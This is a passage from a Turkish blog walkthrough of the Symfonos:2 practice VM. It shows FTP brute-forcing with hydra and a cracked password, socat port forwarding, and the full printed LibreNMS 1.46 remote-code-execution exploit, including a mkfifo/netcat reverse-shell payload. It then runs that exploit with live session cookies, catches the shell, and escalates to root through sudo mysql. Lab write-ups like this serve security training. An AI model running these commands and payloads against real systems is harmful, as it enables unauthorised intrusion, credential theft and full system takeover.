create\n# public shares, not just authenticated ones\n usershare allow guests = yes\n\n#======================= Share Definitions =======================\n\n[homes]\n comment = Home Directories\n browseable = no\n\n# By default, the home directories are exported read-only. Change the\n# next parameter to 'no' if you want to be able to write to them.\n read only = yes\n\n# File creation mask is set to 0700 for security reasons. If you want to\n# create files with group=rw permissions, set next parameter to 0775.\n create mask = 0700\n\n# Directory creation mask is set to 0700 for security reasons. If you want to\n# create dirs. with group=rw permissions, set next parameter to 0775.\n directory mask = 0700\n\n# By default, \\\\server\\username shares can be connected to by anyone\n# with access to the samba server.\n# The following parameter makes sure that only "username" can connect\n# to \\\\server\\username\n# This might need tweaking when using external authentication schemes\n valid users = %S\n\n# Un-comment the following and create the netlogon directory for Domain Logons\n# (you need to configure Samba to act as a domain controller too.)\n;[netlogon]\n; comment = Network Logon Service\n; path = \/home\/samba\/netlogon\n; guest ok = yes\n; read only = yes\n\n# Un-comment the following and create the profiles directory to store\n# users profiles (see the "logon path" option above)\n# (you need to configure Samba to act as a domain controller too.)\n# The path below should be writable by all users so that their\n# profile directory may be created the first time they log on\n;[profiles]\n; comment = Users profiles\n; path = \/home\/samba\/profiles\n; guest ok = no\n; browseable = no\n; create mask = 0600\n; directory mask = 0700\n\n[printers]\n comment = All Printers\n browseable = no\n path = \/var\/spool\/samba\n printable = yes\n guest ok = no\n read only = yes\n create mask = 0700\n\n# Windows clients look for this share name as a source of downloadable\n# printer drivers\n[print$]\n comment = Printer Drivers\n path = \/var\/lib\/samba\/printers\n browseable = yes\n read only = yes\n guest ok = no\n# Uncomment to allow remote administration of Windows print drivers.\n# You may need to replace 'lpadmin' with the name of the group your\n# admin users are members of.\n# Please note that you also need to set appropriate Unix permissions\n# to the drivers directory for these users to have write rights in it\n; write list = root, @lpadmin\n\n[anonymous]\n path = \/home\/aeolus\/share\n browseable = yes\n read only = yes\n guest ok = yes\n\nroot@symfonos2:~# cat \/usr\/local\/etc\/proftpd.conf\n# This is a basic ProFTPD configuration file (rename it to \n# 'proftpd.conf' for actual use. It establishes a single server\n# and a single anonymous login. It assumes that you have a user\/group\n# "nobody" and "ftp" for normal operation and anon.\n\nServerName "ProFTPD Default Installation"\nServerType standalone\nDefaultServer on\n\n# Port 21 is the standard FTP port.\nPort 21\n\n# Don't use IPv6 support by default.\nUseIPv6 off\n\n# Umask 022 is a good standard umask to prevent new dirs and files\n# from being group and world writable.\nUmask 022\n\n# To prevent DoS attacks, set the maximum number of child processes\n# to 30. If you need to allow more than 30 concurrent connections\n# at once, simply increase this value. Note that this ONLY works\n# in standalone mode, in inetd mode you should use an inetd server\n# that allows you to limit maximum number of processes per service\n# (such as xinetd).\nMaxInstances 30\n\n# Set the user and group under which the server will run.\nUser aeolus\nGroup aeolus\n\n# To cause every FTP user to be "jailed" (chrooted) into their home\n# directory, uncomment this line.\n#DefaultRoot ~\n\n# Normally, we want files to be overwriteable.\nAllowOverwrite on\n\n# Bar use of SITE CHMOD by default\n<Limit SITE_CHMOD>\n DenyAll\n<\/Limit>\n\n# A basic anonymous configuration, no upload directories. If you do not\n# want anonymous users, simply delete this entire <Anonymous> section.\n<Anonymous ~ftp>\n User ftp\n Group ftp\n\n # We want clients to be able to login with "anonymous" as well as "ftp"\n UserAlias anonymous ftp\n\n # Limit the maximum number of anonymous logins\n MaxClients 10\n\n # We want 'welcome.msg' displayed at login, and '.message' displayed\n # in each newly chdired directory.\n #DisplayLogin welcome.msg\n #DisplayChdir .message\n\n # Limit WRITE everywhere in the anonymous chroot\n <Limit WRITE>\n DenyAll\n <\/Limit>\n<\/Anonymous>\n<\/code><\/pre>\n\u0130\u00e7eri girdikten sonra bir dosya bulduk ve bunu okudum. Bu dosyadan anlad\u0131klar\u0131m asl\u0131nda \u015funlar, ftp’ye anonymous giri\u015f yapabilmem laz\u0131m ancak yapamad\u0131m. Nedenini anlmad\u0131m belki do\u011fru bir config de\u011fildir. Onun haricinde \/etc\/shadow dosyas\u0131n\u0131n kopyaland\u0131\u011f\u0131n\u0131 g\u00f6r\u00fcyorum. \u0130\u00e7eri bir \u015fekilde girebilirsek bu dosyadan belki parola elde edebiliriz.<\/p>\n
\u0130nternet s,tes,ne bakt\u0131\u011f\u0131mda bir \u015fey bulamad\u0131m nikto ve gobuster \u00e7\u0131kt\u0131lar\u0131 normaldi. Bunun \u00fczerine elimde olan tek \u015fey olan kullan\u0131c\u0131lara kabakuvvet sald\u0131r\u0131s\u0131 yapmaya ba\u015flad\u0131m hem ssh hemde ftp i\u00e7in. FTP’den daha h\u0131zl\u0131 cevap ald\u0131m.<\/p>\n
\u250c\u2500\u2500(root💀kali)-[~\/oscp\/symfonos2]\n\u2514\u2500# hydra -L users -P \/usr\/share\/wordlists\/rockyou.txt ftp:\/\/192.168.31.111\nHydra v9.1 (c) 2020 by van Hauser\/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).\n\nHydra (https:\/\/github.com\/vanhauser-thc\/thc-hydra) starting at 2021-06-25 12:38:51\n[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, .\/hydra.restore\n[DATA] max 16 tasks per 1 server, overall 16 tasks, 57377596 login tries (l:4\/p:14344399), ~3586100 tries per task\n[DATA] attacking ftp:\/\/192.168.31.111:21\/\n[STATUS] 2742.00 tries\/min, 2742 tries in 00:01h, 57374854 to do in 348:45h, 16 active\n[STATUS] 2780.67 tries\/min, 8342 tries in 00:03h, 57369254 to do in 343:52h, 16 active\n[STATUS] 2767.29 tries\/min, 19371 tries in 00:07h, 57358225 to do in 345:28h, 16 active\n[21][ftp] host: 192.168.31.111 login: aeolus password: sergioteamo\n[STATUS] 957418.87 tries\/min, 14361283 tries in 00:15h, 43016313 to do in 00:45h, 16 active\n[STATUS] 464713.13 tries\/min, 14406107 tries in 00:31h, 42971489 to do in 01:33h, 16 active\n[STATUS] 307472.53 tries\/min, 14451209 tries in 00:47h, 42926387 to do in 02:20h, 16 active\n[STATUS] 230106.22 tries\/min, 14496692 tries in 01:03h, 42880904 to do in 03:07h, 16 active\n[STATUS] 184080.04 tries\/min, 14542323 tries in 01:19h, 42835273 to do in 03:53h, 16 active\n[STATUS] 153556.65 tries\/min, 14587882 tries in 01:35h, 42789714 to do in 04:39h, 16 active\n[STATUS] 131835.22 tries\/min, 14633709 tries in 01:51h, 42743887 to do in 05:25h, 16 active\n[STATUS] 115587.82 tries\/min, 14679653 tries in 02:07h, 42697943 to do in 06:10h, 16 active\n[STATUS] 102970.38 tries\/min, 14724764 tries in 02:23h, 42652832 to do in 06:55h, 16 active\n<\/code><\/pre>\nHahah sald\u0131r\u0131 hala devam ediyor… Burdan elde etti\u011fim kullan\u0131c\u0131yla ssh arac\u0131l\u0131\u011f\u0131 ile ba\u011fland\u0131m.<\/p>\n
\u250c\u2500\u2500(root💀kali)-[~\/oscp\/symfonos2]\n\u2514\u2500# ssh aeolus@192.168.31.111\nThe authenticity of host '192.168.31.111 (192.168.31.111)' can't be established.\nECDSA key fingerprint is SHA256:B1Gy++lPIkpytQPksfdhzAydQ8n3Hlor7srtoKol248.\nAre you sure you want to continue connecting (yes\/no\/[fingerprint])? yes\nWarning: Permanently added '192.168.31.111' (ECDSA) to the list of known hosts.\naeolus@192.168.31.111's password: \nLinux symfonos2 4.9.0-9-amd64 #1 SMP Debian 4.9.168-1+deb9u3 (2019-06-16) x86_64\n\nThe programs included with the Debian GNU\/Linux system are free software;\nthe exact distribution terms for each program are described in the\nindividual files in \/usr\/share\/doc\/*\/copyright.\n\nDebian GNU\/Linux comes with ABSOLUTELY NO WARRANTY, to the extent\npermitted by applicable law.\nLast login: Thu Jul 18 08:52:59 2019 from 192.168.201.1\naeolus@symfonos2:~$ whoami\naeolus\naeolus@symfonos2:~$ pwd\n\/home\/aeolus\naeolus@symfonos2:~$ \n<\/code><\/pre>\nHarika i\u00e7erdeyiz! \u0130lk i\u015f olarak lse.sh dosyas\u0131n\u0131 y\u00fckledim ve bir tarama ger\u00e7ekle\u015ftirdim. G\u00f6z\u00fcme \u00e7arpan bir \u015fey yoktu… Bunun \u00fczerine log.txt’de g\u00f6rd\u00fc\u011f\u00fcm shadow dosyas\u0131n\u0131 kontrol ettim. Hashler elimdeydi ancak john ile k\u0131ramad\u0131m…
\n\u0130\u00e7eride nmap y\u00fckl\u00fcyd\u00fc ve tamamen \u015fans eseri bir nmap taramas\u0131 ger\u00e7ekle\u015ftirdim kendime orda ilgin\u00e7 bir \u015fey farkettim.<\/p>\n
aeolus@symfonos2:\/bin$ nmap 127.0.0.1 -p-\n\nStarting Nmap 7.40 ( https:\/\/nmap.org ) at 2021-06-25 16:26 CDT\nNmap scan report for localhost (127.0.0.1)\nHost is up (0.000074s latency).\nNot shown: 65526 closed ports\nPORT STATE SERVICE\n21\/tcp open ftp\n22\/tcp open ssh\n25\/tcp open smtp\n80\/tcp open http\n139\/tcp open netbios-ssn\n445\/tcp open microsoft-ds\n3306\/tcp open mysql\n5355\/tcp open llmnr\n8080\/tcp open http-proxy\n\nNmap done: 1 IP address (1 host up) scanned in 2.37 seconds\naeolus@symfonos2:\/bin$ which socat\n\/usr\/bin\/socat\n<\/code><\/pre>\nlocalhost’a sadece hizmet veren serisler oldu\u011funu g\u00f6rd\u00fcm. Sanki yeni ba\u015fl\u0131yor gibiyiz \ud83d\ude42<\/p>\n
Bunun \u00fczerine hemen socat<\/strong> var m\u0131 diye kontrol ettim ve 8080. portu 8081’e y\u00f6nlendirdim.<\/p>\naeolus@symfonos2:\/bin$ socat TCP-LISTEN:8081,fork,reuseaddr TCP:127.0.0.1:8080 &\n[1] 22107\naeolus@symfonos2:\/bin$ \n<\/code><\/pre>\nBu sayede loaclhost art\u0131k d\u0131\u015far\u0131 hizmet vermeye ba\u015flad\u0131…<\/p>\n
\n\u250c\u2500\u2500(root💀kali)-[~\/oscp\/symfonos2]\n\u2514\u2500# nmap -p 8081 192.168.31.111 \nStarting Nmap 7.91 ( https:\/\/nmap.org ) at 2021-06-25 14:45 EDT\nNmap scan report for symfonos2 (192.168.31.111)\nHost is up (0.00030s latency).\n\nPORT STATE SERVICE\n8081\/tcp open blackice-icecap\nMAC Address: 08:00:27:39:02:B1 (Oracle VirtualBox virtual NIC)\n\nNmap done: 1 IP address (1 host up) scanned in 0.26 seconds\n<\/code><\/pre>\nHarika. \u0130nternet sayfas\u0131n\u0131 ziyaret ettim. Bir login ekran\u0131 ile kar\u015f\u0131la\u015ft\u0131m ve uygulaman\u0131n ad\u0131: librenms<\/strong><\/p>\n\u0130lk ba\u015fta login olmay\u0131 denedim. admin:admin ile giri\u015f yapt\u0131\u011f\u0131mda beni ba\u015fka bir sayfaya y\u00f6nlendirdi ilk seferde giri\u015f yapt\u0131m sand\u0131m ama yan\u0131lm\u0131\u015f\u0131m. admin:sdfgnsaskf ile de ayn\u0131 sayfaya gittim. Bunun \u00fczerine hydra ile k\u0131rd\u0131\u011f\u0131m kullan\u0131c\u0131 ile giri\u015f yapmay\u0131 denedim ve dashboard kar\u015f\u0131ma geldi. (aeolus:sergioteamo)<\/p>\n
Biraz gezindikten sonra uygulama ile ilgli exploit arad\u0131m.<\/p>\n
\u250c\u2500\u2500(root💀kali)-[~\/oscp\/symfonos2]\n\u2514\u2500# searchsploit librenms \n------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ ---------------------------------\n Exploit Title | Path\n------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ ---------------------------------\nLibreNMS - addhost Command Injection (Metasploit) | linux\/remote\/46970.rb\nLibreNMS - Collectd Command Injection (Metasploit) | linux\/remote\/47375.rb\nLibreNMS 1.46 - 'addhost' Remote Code Execution | php\/webapps\/47044.py\nLibreNMS 1.46 - 'search' SQL Injection | multiple\/webapps\/48453.txt\nLibreNMS 1.46 - MAC Accounting Graph Authenticated SQL Injection | multiple\/webapps\/49246.py\n------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ ---------------------------------\nShellcodes: No Results\n\n\u250c\u2500\u2500(root💀kali)-[~\/oscp\/symfonos2]\n\u2514\u2500# locate php\/webapps\/47044.py\n\/usr\/share\/exploitdb\/exploits\/php\/webapps\/47044.py\n\n\u250c\u2500\u2500(root💀kali)-[~\/oscp\/symfonos2]\n\u2514\u2500# cat \/usr\/share\/exploitdb\/exploits\/php\/webapps\/47044.py\n#!\/usr\/bin\/python\n\n'''\n# Exploit Title: LibreNMS v1.46 authenticated Remote Code Execution\n# Date: 24\/12\/2018\n# Exploit Author: Askar (@mohammadaskar2)\n# CVE : CVE-2018-20434\n# Vendor Homepage: https:\/\/www.librenms.org\/\n# Version: v1.46\n# Tested on: Ubuntu 18.04 \/ PHP 7.2.10\n'''\n\nimport requests\nfrom urllib import urlencode\nimport sys\n\nif len(sys.argv) != 5:\n print "[!] Usage : .\/exploit.py http:\/\/www.example.com cookies rhost rport"\n sys.exit(0)\n\n# target (user input)\ntarget = sys.argv[1]\n\n# cookies (user input)\nraw_cookies = sys.argv[2]\n\n# remote host to connect to\nrhost = sys.argv[3]\n\n# remote port to connect to\nrport = sys.argv[4]\n\n# hostname to use (change it if you want)\nhostname = "dummydevice"\n\n# payload to create reverse shell\npayload = "'$(rm \/tmp\/f;mkfifo \/tmp\/f;cat \/tmp\/f|\/bin\/sh -i 2>&1|nc {0} {1} >\/tmp\/f) #".format(rhost, rport)\n\n# request headers\nheaders = {\n "Content-Type": "application\/x-www-form-urlencoded",\n "User-Agent": "Mozilla\/5.0 (X11; Ubuntu; Linux x86_64; rv:59.0) Gecko\/20100101"\n }\n\n# request cookies\ncookies = {}\nfor cookie in raw_cookies.split(";"):\n # print cookie\n c = cookie.split("=")\n cookies[c[0]] = c[1]\n\ndef create_new_device(url):\n raw_request = {\n "hostname": hostname,\n "snmp": "on",\n "sysName": "",\n "hardware": "",\n "os": "",\n "snmpver": "v2c",\n "os_id": "",\n "port": "",\n "transport": "udp",\n "port_assoc_mode": "ifIndex",\n "community": payload,\n "authlevel": "noAuthNoPriv",\n "authname": "",\n "authpass": "",\n "cryptopass": "",\n "authalgo": "MD5",\n "cryptoalgo": "AES",\n "force_add": "on",\n "Submit": ""\n }\n full_url = url + "\/addhost\/"\n request_body = urlencode(raw_request)\n\n # send the device creation request\n request = requests.post(\n full_url, data=request_body, cookies=cookies, headers=headers\n )\n text = request.text\n if "Device added" in text:\n print "[+] Device Created Sucssfully"\n return True\n else:\n print "[-] Cannot Create Device"\n return False\n\ndef request_exploit(url):\n params = {\n "id": "capture",\n "format": "text",\n "type": "snmpwalk",\n "hostname": hostname\n }\n\n # send the payload call\n request = requests.get(url + "\/ajax_output.php",\n params=params,\n headers=headers,\n cookies=cookies\n )\n text = request.text\n if rhost in text:\n print "[+] Done, check your nc !"\n\nif create_new_device(target):\n request_exploit(target) <\/code><\/pre>\nExploit’in kodlar\u0131nan anlad\u0131\u011f\u0131m\u0131za g\u00f6re cookie bilgisi istiyor ve ilk ba\u015fta bind shell alaca\u011f\u0131m\u0131 sanm\u0131\u015ft\u0131m ancak reverse i\u00e7in ip adresimiz ve port. nc ile bir dinlemen noktas\u0131 ba\u015flatt\u0131m ve exploiti \u00e7al\u0131\u015ft\u0131rd\u0131m.<\/p>\n
\n\u250c\u2500\u2500(root💀kali)-[~\/oscp\/symfonos2]\n\u2514\u2500# python \/usr\/share\/exploitdb\/exploits\/php\/webapps\/47044.py http:\/\/192.168.31.111:8081\/ "XSRF-TOKEN=eyJpdiI6IkxNeWczVVhyUzYyeDhZUjRXeVRBb0E9PSIsInZhbHVlIjoicnhqenpUbnBHcjdjTWc3V1JqV29mMVgrSlpIS3grYmtMWGpEV1RiYXphTFo5bVBlYWJmMmRoTFdNNTRBTEtvU3ZldnBYY0RqMVZCMlwvYlhtQXdTM1wvQT09IiwibWFjIjoiODZhYzFkOWYxOWRkYmVmNzUwZjljZDM0YTdiM2VjYTM3MzU1OTAwYWFiYmQ2NTkwZDhlYjNjMzQ4MWMxYWM3MiJ9; librenms_session=eyJpdiI6Im9MUWZwalNacWhnTXVzbnhFR3pRNHc9PSIsInZhbHVlIjoiS0xVc1ZXckhTXC8zYlM2K2JiTGpsOTdZQ0QyMGFESkRadVFKeWlmNG8raGR3VVFwZXN0ZHBIWEtJQTRzaThVaDJKbFV0aEZwODZudWU2cHhNZ0RJR1RBPT0iLCJtYWMiOiI4Zjc2OWU0NzEzMDhlZWIwMDA0MWM2OTQwOGI4YmEwMWZlOGNkZmFhZTEwZWY4ZGNmMDNkYWIzMTBmYzgwYmU3In0%3D; PHPSESSID=rd33kcneo8rmu167tlf4uopkv3" 192.168.31.102 1822\n[+] Device Created Sucssfully\n<\/code><\/pre>\n\u250c\u2500\u2500(root💀kali)-[~\/oscp\/symfonos2]\n\u2514\u2500# nc -lvp 1822\nlistening on [any] 1822 ...\n192.168.31.111: inverse host lookup failed: Unknown host\nconnect to [192.168.31.102] from (UNKNOWN) [192.168.31.111] 47052\n\/bin\/sh: 0: can't access tty; job control turned off\n$ whoami\ncronus\n$ python -c 'import pty; pty.spawn("\/bin\/bash")'\ncronus@symfonos2:\/opt\/librenms\/html$ \n\ncronus@symfonos2:\/opt\/librenms\/html$ whoami\nwhoami\ncronus\n<\/code><\/pre>\nHarika! D\u00fcr\u00fcst olay\u0131m ilk i\u015fim sudo -l<\/strong> oldu ve birde ne g\u00f6reyim.<\/p>\ncronus@symfonos2:\/opt\/librenms\/html$ sudo -l\nsudo -l\nMatching Defaults entries for cronus on symfonos2:\n env_reset, mail_badpass,\n secure_path=\/usr\/local\/sbin\\:\/usr\/local\/bin\\:\/usr\/sbin\\:\/usr\/bin\\:\/sbin\\:\/bin\n\nUser cronus may run the following commands on symfonos2:\n (root) NOPASSWD: \/usr\/bin\/mysql\ncronus@symfonos2:\/opt\/librenms\/html$ sudo mysql -e '\\! \/bin\/sh'\nsudo mysql -e '\\! \/bin\/sh'\n# whoami\nwhoami\nroot\n# cd \/root \ncd \/root\n# ls\nls\nproof.txt\n# cat proof.txt\ncat proof.txt\n\n Congrats on rooting symfonos:2!\n\n , ,\n ,-`{-`\/\n ,-~ , \\ {-~~-,\n ,~ , ,`,-~~-,`,\n ,` , { { } } }\/\n ; ,--\/`\\ \\ \/ \/ }\/ \/,\/\n; ,-.\/ \\ \\ { { ( \/,; ,\/ ,\/\n; \/ ` } } `, `-`-.___ \/ `, ,\/ `,\/\n \\| ,`,` `~.___,---} \/ ,`,,\/ ,`,;\n ` { { __ \/ ,`\/ ,`,;\n \/ \\ \\ _,`, `{ `,{ `,`;`\n { } } \/~\\ .-:::-. (--, ;\\ `,} `,`;\n \\\\._.\/ \/ \/` , \\ ,:::::::::, `~; \\},\/ `,`; ,-=-\n `-..-` \/. ` .\\_ ;:::::::::::; __,{ `\/ `,`; {\n \/ , ~ . ^ `~`\\:::::::::::<<~>-,,`, `-, ``,_ }\n \/~~ . ` . ~ , .`~~\\:::::::; _-~ ;__, `,-`\n \/`\\ \/~, . ~ , ' ` , .` \\::::;` <<<~``` ``-,,__ ;\n \/` .`\\ \/` . ^ , ~ , . ` . ~\\~ \\\\, `,__\n \/ ` , ,`\\. ` ~ , ^ , ` ~ . . ``~~~`, `-`--, \\\n \/ , ~ . ~ \\ , ` . ^ ` , . ^ . , ` .`-,___,---,__ ``\n \/` ` . ~ . ` `\\ ` ~ , . , ` , . ~ ^ , . ~ , .`~---,___\n\/` . ` , . ~ , \\ ` ~ , . ^ , ~ . ` , ~ . ^ , ~ . `-,\n\n Contact me via Twitter @zayotic to give feedback!\n<\/code><\/pre>\nHarika!<\/p>\n","protected":false},"excerpt":{"rendered":"
Makine Hakk\u0131nda Bilgiler A\u00e7\u0131klama: OSCP-like Intermediate real life based machine designed to teach the importance of understanding a vulnerability. SHOULD work for both VMware and…<\/p>\n
Devam\u0131n\u0131 okuSYMFONOS: 2<\/span><\/a><\/div>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[498],"tags":[533,532,529,525],"class_list":["post-1253","post","type-post","status-publish","format-standard","hentry","category-walkthrough","tag-ftp","tag-librenms","tag-smb","tag-socat","entry"],"_links":{"self":[{"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/posts\/1253","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/comments?post=1253"}],"version-history":[{"count":1,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/posts\/1253\/revisions"}],"predecessor-version":[{"id":1254,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/posts\/1253\/revisions\/1254"}],"wp:attachment":[{"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/media?parent=1253"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/categories?post=1253"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/tags?post=1253"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}